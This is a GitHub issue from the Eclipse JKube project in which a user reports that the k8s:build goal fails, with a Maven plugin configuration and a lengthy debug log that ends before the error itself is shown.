eclipse-jkube / jkube Goto Github PK
View Code? Open in Web Editor NEWBuild and Deploy java applications on Kubernetes
Home Page: https://www.eclipse.dev/jkube/
License: Eclipse Public License 2.0
Build and Deploy java applications on Kubernetes
Home Page: https://www.eclipse.dev/jkube/
License: Eclipse Public License 2.0
I tried building a docker image with this configuration:
<plugin>
<groupId>org.eclipse.jkube</groupId>
<artifactId>k8s-maven-plugin</artifactId>
<version>0.1.1-SNAPSHOT</version>
<configuration>
<images>
<image>
<!-- Add your dockerhub user name here -->
<name>rohankanojia/helloworld-java:${project.version}</name>
<alias>hello-world</alias>
<build>
<from>openjdk:latest</from>
<assembly>
<descriptorRef>artifact</descriptorRef>
</assembly>
<cmd>java -jar maven/${project.name}-${project.version}.jar</cmd>
</build>
<run>
<wait>
<log>Hello World!</log>
</wait>
</run>
</image>
</images>
</configuration>
</plugin>
However, k8s:build
goal fails giving this error:
~/work/repos/jkube-imageconfig-sample : $ mvn k8s:build -X
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /opt/apache-maven
Java version: 1.8.0_231, vendor: Oracle Corporation, runtime: /usr/java/jdk1.8.0_231-amd64/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.4.13-201.fc31.x86_64", arch: "amd64", family: "unix"
[DEBUG] Created new class realm maven.api
[DEBUG] Importing foreign packages into class realm maven.api
[DEBUG] Imported: javax.annotation.* < plexus.core
[DEBUG] Imported: javax.annotation.security.* < plexus.core
[DEBUG] Imported: javax.enterprise.inject.* < plexus.core
[DEBUG] Imported: javax.enterprise.util.* < plexus.core
[DEBUG] Imported: javax.inject.* < plexus.core
[DEBUG] Imported: org.apache.maven.* < plexus.core
[DEBUG] Imported: org.apache.maven.artifact < plexus.core
[DEBUG] Imported: org.apache.maven.classrealm < plexus.core
[DEBUG] Imported: org.apache.maven.cli < plexus.core
[DEBUG] Imported: org.apache.maven.configuration < plexus.core
[DEBUG] Imported: org.apache.maven.exception < plexus.core
[DEBUG] Imported: org.apache.maven.execution < plexus.core
[DEBUG] Imported: org.apache.maven.execution.scope < plexus.core
[DEBUG] Imported: org.apache.maven.lifecycle < plexus.core
[DEBUG] Imported: org.apache.maven.model < plexus.core
[DEBUG] Imported: org.apache.maven.monitor < plexus.core
[DEBUG] Imported: org.apache.maven.plugin < plexus.core
[DEBUG] Imported: org.apache.maven.profiles < plexus.core
[DEBUG] Imported: org.apache.maven.project < plexus.core
[DEBUG] Imported: org.apache.maven.reporting < plexus.core
[DEBUG] Imported: org.apache.maven.repository < plexus.core
[DEBUG] Imported: org.apache.maven.rtinfo < plexus.core
[DEBUG] Imported: org.apache.maven.settings < plexus.core
[DEBUG] Imported: org.apache.maven.toolchain < plexus.core
[DEBUG] Imported: org.apache.maven.usability < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.* < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.authentication < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.authorization < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.events < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.observers < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.proxy < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.repository < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.resource < plexus.core
[DEBUG] Imported: org.codehaus.classworlds < plexus.core
[DEBUG] Imported: org.codehaus.plexus.* < plexus.core
[DEBUG] Imported: org.codehaus.plexus.classworlds < plexus.core
[DEBUG] Imported: org.codehaus.plexus.component < plexus.core
[DEBUG] Imported: org.codehaus.plexus.configuration < plexus.core
[DEBUG] Imported: org.codehaus.plexus.container < plexus.core
[DEBUG] Imported: org.codehaus.plexus.context < plexus.core
[DEBUG] Imported: org.codehaus.plexus.lifecycle < plexus.core
[DEBUG] Imported: org.codehaus.plexus.logging < plexus.core
[DEBUG] Imported: org.codehaus.plexus.personality < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.Xpp3Dom < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlPullParser < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlPullParserException < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlSerializer < plexus.core
[DEBUG] Imported: org.eclipse.aether.* < plexus.core
[DEBUG] Imported: org.eclipse.aether.artifact < plexus.core
[DEBUG] Imported: org.eclipse.aether.collection < plexus.core
[DEBUG] Imported: org.eclipse.aether.deployment < plexus.core
[DEBUG] Imported: org.eclipse.aether.graph < plexus.core
[DEBUG] Imported: org.eclipse.aether.impl < plexus.core
[DEBUG] Imported: org.eclipse.aether.installation < plexus.core
[DEBUG] Imported: org.eclipse.aether.internal.impl < plexus.core
[DEBUG] Imported: org.eclipse.aether.metadata < plexus.core
[DEBUG] Imported: org.eclipse.aether.repository < plexus.core
[DEBUG] Imported: org.eclipse.aether.resolution < plexus.core
[DEBUG] Imported: org.eclipse.aether.spi < plexus.core
[DEBUG] Imported: org.eclipse.aether.transfer < plexus.core
[DEBUG] Imported: org.eclipse.aether.version < plexus.core
[DEBUG] Imported: org.fusesource.jansi.* < plexus.core
[DEBUG] Imported: org.slf4j.* < plexus.core
[DEBUG] Imported: org.slf4j.event.* < plexus.core
[DEBUG] Imported: org.slf4j.helpers.* < plexus.core
[DEBUG] Imported: org.slf4j.spi.* < plexus.core
[DEBUG] Populating class realm maven.api
[INFO] Error stacktraces are turned on.
[DEBUG] Message scheme: color
[DEBUG] Message styles: debug info warning error success failure strong mojo project
[DEBUG] Reading global settings from /opt/apache-maven/conf/settings.xml
[DEBUG] Reading user settings from /home/rohaan/.m2/settings.xml
[DEBUG] Reading global toolchains from /opt/apache-maven/conf/toolchains.xml
[DEBUG] Reading user toolchains from /home/rohaan/.m2/toolchains.xml
[DEBUG] Using local repository at /home/rohaan/.m2/repository
[DEBUG] Using manager EnhancedLocalRepositoryManager with priority 10.0 for /home/rohaan/.m2/repository
[INFO] Scanning for projects...
[DEBUG] Extension realms for project io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT: (none)
[DEBUG] Looking up lifecycle mappings for packaging jar from ClassRealm[plexus.core, parent: null]
[DEBUG] Resolving plugin prefix k8s from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix k8s to org.eclipse.jkube:k8s-maven-plugin from POM io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] === REACTOR BUILD PLAN ================================================
[DEBUG] Project: io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] Tasks: [k8s:build]
[DEBUG] Style: Regular
[DEBUG] =======================================================================
[INFO]
[INFO] ------------< io.fabric8.dmp.samples:dmp-sample-helloworld >------------
[INFO] Building dmp-sample-helloworld 0.1.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[DEBUG] Resolving plugin prefix k8s from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix k8s to org.eclipse.jkube:k8s-maven-plugin from POM io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] Lifecycle default -> [validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy]
[DEBUG] Lifecycle clean -> [pre-clean, clean, post-clean]
[DEBUG] Lifecycle site -> [pre-site, site, post-site, site-deploy]
[DEBUG] === PROJECT BUILD PLAN ================================================
[DEBUG] Project: io.fabric8.dmp.samples:dmp-sample-helloworld:0.1.1-SNAPSHOT
[DEBUG] Dependencies (collect): []
[DEBUG] Dependencies (resolve): [compile]
[DEBUG] Repositories (dependencies): [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] Repositories (plugins) : [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] -----------------------------------------------------------------------
[DEBUG] Goal: org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli)
[DEBUG] Style: Regular
[DEBUG] Configuration: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
<apiVersion>${docker.apiVersion}</apiVersion>
<autoCreateCustomNetworks default-value="false">${docker.autoCreateCustomNetworks}</autoCreateCustomNetworks>
<autoPull>${docker.autoPull}</autoPull>
<buildRecreate default-value="none">${jkube.build.recreate}</buildRecreate>
<buildStrategy>${jkube.build.strategy}</buildStrategy>
<certPath>${docker.certPath}</certPath>
<containerNamePattern>${docker.containerNamePattern}</containerNamePattern>
<dockerHost>${docker.host}</dockerHost>
<environment>${jkube.environment}</environment>
<filter>${docker.filter}</filter>
<forcePull default-value="false">${jkube.build.forcePull}</forcePull>
<imagePullPolicy>${docker.imagePullPolicy}</imagePullPolicy>
<images>
<image>
<name>rohankanojia/helloworld-java:0.1.1-SNAPSHOT</name>
<alias>hello-world</alias>
<build>
<from>openjdk:latest</from>
<assembly>
<descriptorRef>artifact</descriptorRef>
</assembly>
<cmd>java -jar maven/dmp-sample-helloworld-0.1.1-SNAPSHOT.jar</cmd>
</build>
<run>
<wait>
<log>Hello World!</log>
</wait>
</run>
</image>
</images>
<keepContainer default-value="false">${docker.keepContainer}</keepContainer>
<keepRunning default-value="false">${docker.keepRunning}</keepRunning>
<logDate>${docker.logDate}</logDate>
<logStdout default-value="false">${docker.logStdout}</logStdout>
<maxConnections default-value="100">${docker.maxConnections}</maxConnections>
<mode>${jkube.mode}</mode>
<openshiftPullSecret default-value="pullsecret-jkube">${jkube.build.pullSecret}</openshiftPullSecret>
<outputDirectory default-value="target/docker">${docker.target.dir}</outputDirectory>
<profile>${jkube.profile}</profile>
<project default-value="${project}"/>
<pullRegistry>${docker.pull.registry}</pullRegistry>
<reactorProjects default-value="${reactorProjects}"/>
<registry>${docker.registry}</registry>
<removeVolumes default-value="false">${docker.removeVolumes}</removeVolumes>
<resourceDir default-value="${basedir}/src/main/jkube">${jkube.resourceDir}</resourceDir>
<s2iBuildNameSuffix default-value="-s2i">${jkube.s2i.buildNameSuffix}</s2iBuildNameSuffix>
<s2iImageStreamLookupPolicyLocal default-value="true">${jkube.s2i.imageStreamLookupPolicyLocal}</s2iImageStreamLookupPolicyLocal>
<session default-value="${session}"/>
<settings default-value="${settings}"/>
<skip default-value="false">${jkube.skip}</skip>
<skipBuild default-value="false">${docker.skip.build}</skipBuild>
<skipBuildPom>${jkube.skip.build.pom}</skipBuildPom>
<skipExtendedAuth default-value="false">${docker.skip.extendedAuth}</skipExtendedAuth>
<skipMachine default-value="false">${docker.skip.machine}</skipMachine>
<sourceDirectory default-value="src/main/docker">${docker.source.dir}</sourceDirectory>
<useColor default-value="true">${docker.useColor}</useColor>
<useProjectClasspath default-value="false">${jkube.useProjectClasspath}</useProjectClasspath>
<verbose default-value="false">${docker.verbose}</verbose>
<watchInterval default-value="5000">${docker.watchInterval}</watchInterval>
<watchMode default-value="both">${docker.watchMode}</watchMode>
<watchPostExec>${docker.watchPostExec}</watchPostExec>
<watchPostGoal>${docker.watchPostGoal}</watchPostGoal>
</configuration>
[DEBUG] =======================================================================
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=678696, ConflictMarker.markTime=517120, ConflictMarker.nodeCount=2, ConflictIdSorter.graphTime=444989, ConflictIdSorter.topsortTime=660205, ConflictIdSorter.conflictIdCount=1, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=5439425, ConflictResolver.conflictItemCount=1, DefaultDependencyCollector.collectTime=5591383, DefaultDependencyCollector.transformTime=9039062}
[DEBUG] io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] junit:junit:jar:3.8.1:test
[INFO]
[INFO] --- k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) @ dmp-sample-helloworld ---
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-service-docker:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-service-docker:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-parent:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-image:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-image:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-generic:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-generic:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-resource:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-resource:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-resource-service:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-resource-service:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-specific:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-specific:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-java-exec:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-java-exec:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-karaf:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-karaf:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-webapp:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-webapp:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-thorntail:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-thorntail:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-spring-boot:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-spring-boot:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-quarkus:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-quarkus:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-vertx:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-vertx:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-profiles:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-profiles:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-standard:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-standard:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=1110094, ConflictMarker.markTime=936744, ConflictMarker.nodeCount=224, ConflictIdSorter.graphTime=569695, ConflictIdSorter.topsortTime=133833, ConflictIdSorter.conflictIdCount=132, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=16627788, ConflictResolver.conflictItemCount=199, DefaultDependencyCollector.collectTime=576198155, DefaultDependencyCollector.transformTime=19581870}
[DEBUG] org.eclipse.jkube:k8s-maven-plugin:jar:0.1.1-SNAPSHOT
[DEBUG] org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1-SNAPSHOT:compile
[DEBUG] commons-codec:commons-codec:jar:1.13:compile
[DEBUG] org.apache.httpcomponents:httpclient:jar:4.5.6:compile
[DEBUG] org.apache.httpcomponents:httpcore:jar:4.4.10:compile
[DEBUG] commons-logging:commons-logging:jar:1.2:compile
[DEBUG] com.github.jnr:jnr-unixsocket:jar:0.12:compile
[DEBUG] com.github.jnr:jnr-ffi:jar:2.0.9:compile
[DEBUG] com.github.jnr:jffi:jar:1.2.11:compile
[DEBUG] com.github.jnr:jffi:jar:native:1.2.11:runtime
[DEBUG] org.ow2.asm:asm:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-commons:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-analysis:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-tree:jar:5.0.3:compile
[DEBUG] org.ow2.asm:asm-util:jar:5.0.3:compile
[DEBUG] com.github.jnr:jnr-x86asm:jar:1.0.2:compile
[DEBUG] com.github.jnr:jnr-constants:jar:0.9.1:compile
[DEBUG] com.github.jnr:jnr-enxio:jar:0.12:compile
[DEBUG] com.github.jnr:jnr-posix:jar:3.0.29:compile
[DEBUG] org.bouncycastle:bcpkix-jdk15on:jar:1.61:compile
[DEBUG] org.bouncycastle:bcprov-jdk15on:jar:1.61:compile
[DEBUG] org.apache.commons:commons-text:jar:1.1:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1-SNAPSHOT:compile
[DEBUG] com.google.code.findbugs:jsr305:jar:3.0.2:compile
[DEBUG] io.fabric8:ianaservicehelper:jar:0.0.1:compile
[DEBUG] com.google.code.gson:gson:jar:2.8.5:compile
[DEBUG] org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6:compile
[DEBUG] org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-common:jar:0.1.1-SNAPSHOT:compile
[DEBUG] io.fabric8:kubernetes-client:jar:4.6.2:compile
[DEBUG] io.fabric8:kubernetes-model:jar:4.6.2:compile
[DEBUG] io.fabric8:kubernetes-model-common:jar:4.6.2:compile
[DEBUG] com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10:compile
[DEBUG] com.squareup.okhttp3:okhttp:jar:3.12.6:compile
[DEBUG] com.squareup.okio:okio:jar:1.15.0:compile
[DEBUG] com.squareup.okhttp3:logging-interceptor:jar:3.12.6:compile
[DEBUG] io.fabric8:zjsonpatch:jar:0.3.0:compile
[DEBUG] com.github.mifmif:generex:jar:1.0.2:compile
[DEBUG] dk.brics.automaton:automaton:jar:1.11-8:compile
[DEBUG] io.fabric8:openshift-client:jar:4.6.2:compile
[DEBUG] org.apache.commons:commons-lang3:jar:3.8.1:compile
[DEBUG] org.apache.commons:commons-compress:jar:1.19:compile
[DEBUG] commons-io:commons-io:jar:2.6:compile
[DEBUG] com.google.guava:guava:jar:27.0-jre:compile
[DEBUG] com.google.guava:failureaccess:jar:1.0:compile
[DEBUG] com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile
[DEBUG] org.checkerframework:checker-qual:jar:2.5.2:compile
[DEBUG] com.google.errorprone:error_prone_annotations:jar:2.2.0:compile
[DEBUG] com.google.j2objc:j2objc-annotations:jar:1.1:compile
[DEBUG] org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile
[DEBUG] com.fasterxml.jackson.core:jackson-core:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.core:jackson-databind:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0:compile
[DEBUG] com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0:compile
[DEBUG] org.slf4j:slf4j-api:jar:1.7.25:compile
[DEBUG] org.yaml:snakeyaml:jar:1.25:compile
[DEBUG] org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r:compile
[DEBUG] com.jcraft:jsch:jar:0.1.54:compile
[DEBUG] com.jcraft:jzlib:jar:1.1.1:compile
[DEBUG] com.googlecode.javaewah:JavaEWAH:jar:1.1.6:compile
[DEBUG] org.bouncycastle:bcpg-jdk15on:jar:1.60:compile
[DEBUG] javax.validation:validation-api:jar:2.0.1.Final:compile
[DEBUG] org.fusesource.jansi:jansi:jar:1.16:compile
[DEBUG] org.javassist:javassist:jar:3.20.0-GA:compile
[DEBUG] com.networknt:json-schema-validator:jar:0.1.7:compile
[DEBUG] org.slf4j:slf4j-ext:jar:1.7.25:compile
[DEBUG] org.apache.maven:maven-core:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-model:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-settings:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-settings-builder:jar:3.5.4:compile
[DEBUG] org.codehaus.plexus:plexus-interpolation:jar:1.24:compile
[DEBUG] org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4:compile
[DEBUG] org.sonatype.plexus:plexus-cipher:jar:1.4:compile
[DEBUG] org.apache.maven:maven-builder-support:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-repository-metadata:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-artifact:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-plugin-api:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-model-builder:jar:3.5.4:compile
[DEBUG] org.apache.maven:maven-resolver-provider:jar:3.5.4:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-impl:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-api:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-spi:jar:1.1.1:compile
[DEBUG] org.apache.maven.resolver:maven-resolver-util:jar:1.1.1:compile
[DEBUG] org.apache.maven.shared:maven-shared-utils:jar:3.2.1:compile
[DEBUG] org.eclipse.sisu:org.eclipse.sisu.plexus:jar:0.3.3:compile
[DEBUG] javax.enterprise:cdi-api:jar:1.0:compile
[DEBUG] javax.annotation:jsr250-api:jar:1.0:compile
[DEBUG] org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3:compile
[DEBUG] com.google.inject:guice:jar:no_aop:4.2.0:compile
[DEBUG] aopalliance:aopalliance:jar:1.0:compile
[DEBUG] javax.inject:javax.inject:jar:1:compile
[DEBUG] org.codehaus.plexus:plexus-classworlds:jar:2.5.2:compile
[DEBUG] org.codehaus.plexus:plexus-archiver:jar:3.5:compile
[DEBUG] org.codehaus.plexus:plexus-utils:jar:3.0.24:compile
[DEBUG] org.codehaus.plexus:plexus-io:jar:3.0.0:compile
[DEBUG] org.iq80.snappy:snappy:jar:0.4:compile
[DEBUG] org.tukaani:xz:jar:1.6:runtime
[DEBUG] org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1:compile
[DEBUG] org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0:compile
[DEBUG] org.apache.maven.shared:file-management:jar:3.0.0:compile
[DEBUG] org.apache.maven.shared:maven-shared-io:jar:3.0.0:compile
[DEBUG] org.apache.maven.wagon:wagon-provider-api:jar:2.10:compile
[DEBUG] org.apache.maven.shared:maven-filtering:jar:3.1.1:compile
[DEBUG] org.sonatype.plexus:plexus-build-api:jar:0.0.7:compile
[DEBUG] org.apache.maven:maven-archiver:jar:3.2.0:compile
[DEBUG] org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0:compile
[DEBUG] org.sonatype.sisu:sisu-inject-plexus:jar:1.4.2:compile
[DEBUG] org.codehaus.plexus:plexus-component-annotations:jar:1.5.4:compile
[DEBUG] org.sonatype.sisu:sisu-inject-bean:jar:1.4.2:compile
[DEBUG] org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7:compile
[DEBUG] org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1-SNAPSHOT:compile
[DEBUG] org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0:compile
